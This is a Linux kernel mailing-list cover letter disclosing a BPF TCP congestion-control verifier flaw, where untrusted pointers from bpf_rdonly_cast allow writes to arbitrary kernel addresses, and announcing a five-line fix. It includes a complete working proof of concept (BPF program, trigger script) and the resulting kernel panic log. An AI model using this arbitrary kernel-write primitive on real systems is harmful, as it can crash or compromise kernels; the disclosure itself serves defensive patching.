From: Zhiling Zou <zhilinz@nebusec.ai>
To: netdev@vger.kernel.org, bpf@vger.kernel.org
Cc: davem@davemloft.net, edumazet@kernel.org, pabeni@redhat.com,
horms@kernel.org, zhilinz@nebusec.ai, martin.lau@kernel.org,
kafai.wan@linux.dev, yhs@fb.com, ast@kernel.org, vega@nebusec.ai
Subject: [PATCH net 0/1] bpf: reject unsafe pointers in TCP congestion control access
Date: Wed, 14 Oct 2026 19:57:56 +0800 [thread overview]
Message-ID: <cover.1791978740.git.zhilinz@nebusec.ai> (raw)
Hi Linux kernel maintainers,
We found and validated an issue in net/ipv4/bpf_tcp_ca.c. A root user
with the capabilities required for BPF struct_ops can load a TCP
congestion-control program that writes through a forged tcp_sock pointer.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
bpf_rdonly_cast() returns a BTF pointer with PTR_UNTRUSTED. Generic BPF
store verification delegates writes through BTF pointers to the program
type's btf_struct_access callback. bpf_tcp_ca_btf_struct_access() checks
the BTF type and allowlisted member offset, but does not reject unsafe
pointer modifiers.
A BPF TCP struct_ops program can therefore cast a scalar address to a
struct tcp_sock pointer and write through an allowed member such as
sk_pacing_rate. The PoC biases the fake base so the store targets address
0x1000; the supplied KASAN log shows the resulting kernel-mode write
fault in the struct_ops init callback.
Reject pointers with unsafe modifiers before validating their BTF type
and member offset. Trusted struct_ops context pointers retain the
existing write access to the permitted TCP fields.
Reproducer:
./poc.sh
The supplied poc.bpf.o is used by the script. It requires bpftool and
Python 3 in the guest. We ran it as root in a 2 vCPU, 2 GB QEMU guest.
------BEGIN poc.bpf.c------
// SPDX-License-Identifier: GPL-2.0
#include "vmlinux.h"
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include "bpf_kfuncs.h"
char LICENSE[] SEC("license") = "GPL";
#define TARGET_ADDR 0x1000UL
#define WRITE_VALUE 0x4141414141414141UL
SEC("struct_ops/init")
void BPF_PROG(poc_init, struct sock *sk)
{
unsigned long base;
struct sock *fake;
base = TARGET_ADDR - __builtin_offsetof(struct sock, sk_pacing_rate);
fake = bpf_rdonly_cast((const void *)base,
bpf_core_type_id_kernel(struct tcp_sock));
fake->sk_pacing_rate = WRITE_VALUE;
}
SEC("struct_ops/cong_avoid")
void BPF_PROG(poc_cong_avoid, struct sock *sk, u32 ack, u32 acked)
{
}
SEC("struct_ops/ssthresh")
u32 BPF_PROG(poc_ssthresh, struct sock *sk)
{
return 0;
}
SEC("struct_ops/undo_cwnd")
u32 BPF_PROG(poc_undo_cwnd, struct sock *sk)
{
return 0;
}
SEC(".struct_ops")
struct tcp_congestion_ops poc_ca = {
.init = (void *)poc_init,
.cong_avoid = (void *)poc_cong_avoid,
.ssthresh = (void *)poc_ssthresh,
.undo_cwnd = (void *)poc_undo_cwnd,
.name = "k9v_poc",
};
------END poc.bpf.c--------
------BEGIN bpf_kfuncs.h------
#ifndef __POC_BPF_KFUNCS_H
#define __POC_BPF_KFUNCS_H
extern void *bpf_rdonly_cast(const void *obj, __u32 btf_id) __ksym __weak;
#endif
------END bpf_kfuncs.h--------
------BEGIN poc.sh------
#!/bin/sh
set -eux
DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
cd "$DIR"
if [ ! -f poc.bpf.o ]; then
if command -v clang >/dev/null 2>&1; then
make clean
make
else
echo "missing poc.bpf.o and no clang available to rebuild it" >&2
exit 1
fi
fi
bpftool struct_ops register ./poc.bpf.o
python3 - <<'PY'
import socket
import threading
import time
ALG = b"k9v_poc"
ready = threading.Event()
port_box = {}
def server():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", 0))
port_box["port"] = srv.getsockname()[1]
srv.listen(1)
ready.set()
conn, _ = srv.accept()
time.sleep(5)
conn.close()
srv.close()
threading.Thread(target=server, daemon=True).start()
ready.wait()
cli = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cli.connect(("127.0.0.1", port_box["port"]))
cli.setsockopt(socket.IPPROTO_TCP, socket.TCP_CONGESTION, ALG)
PY
------END poc.sh--------
----BEGIN crash log----
[ 900.010015][T10750] BUG: unable to handle page fault for address: 0000000000001000
[ 900.010735][T10750] #PF: supervisor write access in kernel mode
[ 900.011201][T10750] #PF: error_code(0x0002) - not-present page
[ 900.011675][T10750] PGD 10f17b067 P4D 10f17b067 PUD 1121c2067 PMD 0
[ 900.012209][T10750] Oops: Oops: 0002 [#1] PREEMPT SMP KASAN NOPTI
[ 900.012693][T10750] CPU: 2 UID: 0 PID: 10750 Comm: python3 Not tainted 6.12.95 #2
[ 900.013186][T10750] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 900.013972][T10750] RIP: 0010:bpf_prog_861704879f83f62f_poc_init+0x2b/0x38
[ 900.014455][T10750] Code: 0f 1e fa 0f 1f 44 00 00 0f 1f 00 55 48 89 e5 f3 0f 1e fa bf 90 0c 00 00 be 85 ab 00 00 48 89 f8 48 bf 41 41 41 41 41 41 41 41 <48> 89 b8 70 03 00 00 c9 e9 4b 5e 6f ea cc cc cc cc cc cc cc cc cc
[ 900.015700][T10750] RSP: 0018:ffffc900066dfb58 EFLAGS: 00010202
[ 900.016102][T10750] RAX: 0000000000000c90 RBX: 0000000000000001 RCX: 0000000000000000
[ 900.016617][T10750] RDX: 1ffff92000cdbf6e RSI: 000000000000ab85 RDI: 4141414141414141
[ 900.017128][T10750] RBP: ffffc900066dfb58 R08: 0000000000000000 R09: fffffbfff2c69990
[ 900.017641][T10750] R10: ffffffff9634cc87 R11: 0000000000000002 R12: ffff88810b72a278
[ 900.018210][T10750] R13: ffff88801d8fc340 R14: ffff88810b72a278 R15: ffff88810b72a2a8
[ 900.018843][T10750] FS: 00007f2b2a2d8780(0000) GS:ffff888118b00000(0000) knlGS:0000000000000000
[ 900.019539][T10750] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 900.020009][T10750] CR2: 0000000000001000 CR3: 000000007cca4000 CR4: 0000000000750ef0
[ 900.020633][T10750] PKRU: 55555554
[ 900.020913][T10750] Call Trace:
[ 900.021183][T10750] <TASK>
[ 900.021434][T10750] bpf__tcp_congestion_ops_init+0x47/0xa7
[ 900.021880][T10750] tcp_init_congestion_control+0xa7/0x3b0
[ 900.022412][T10750] tcp_set_congestion_control+0x6a9/0x7c0
[ 900.022838][T10750] do_tcp_setsockopt+0x5c0/0x2170
[ 900.023230][T10750] ? __pfx_do_tcp_setsockopt+0x10/0x10
[ 900.023579][T10750] ? __pfx___might_resched+0x10/0x10
[ 900.024056][T10750] ? srso_alias_return_thunk+0x5/0xfbef5
[ 900.024523][T10750] ? aa_sk_perm+0x1d8/0x8d0
[ 900.024956][T10750] ? __pfx___lock_acquire+0x10/0x10
[ 900.025389][T10750] ? __pfx_aa_sk_perm+0x10/0x10
[ 900.025777][T10750] ? srso_alias_return_thunk+0x5/0xfbef5
[ 900.026212][T10750] ? srso_alias_return_thunk+0x5/0xfbef5
[ 900.026662][T10750] ? find_held_lock+0x2d/0x110
[ 900.027002][T10750] do_sock_setsockopt+0x1b8/0x3b0
[ 900.046958][T10750] Kernel panic - not syncing: Fatal exception
[ 900.047768][T10750] Kernel Offset: disabled
[ 900.048106][T10750] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
bpf: reject unsafe pointers in TCP congestion control access
net/ipv4/bpf_tcp_ca.c | 5 +++++
1 file changed, 5 insertions(+)
--
2.55.0
next reply other threads:[~2026-10-14 11:58 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-10-14 11:57 Zhiling Zou [this message]
2026-10-14 11:57 ` [PATCH net 1/1] bpf: reject unsafe pointers in TCP congestion control access Zhiling Zou
2026-10-15 11:58 ` sashiko-bot
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1791978740.git.zhilinz@nebusec.ai \
--to=zhilinz@nebusec.ai \
--cc=ast@kernel.org \
--cc=bpf@vger.kernel.org \
--cc=davem@davemloft.net \
--cc=edumazet@kernel.org \
--cc=horms@kernel.org \
--cc=kafai.wan@linux.dev \
--cc=martin.lau@kernel.org \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=vega@nebusec.ai \
--cc=yhs@fb.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.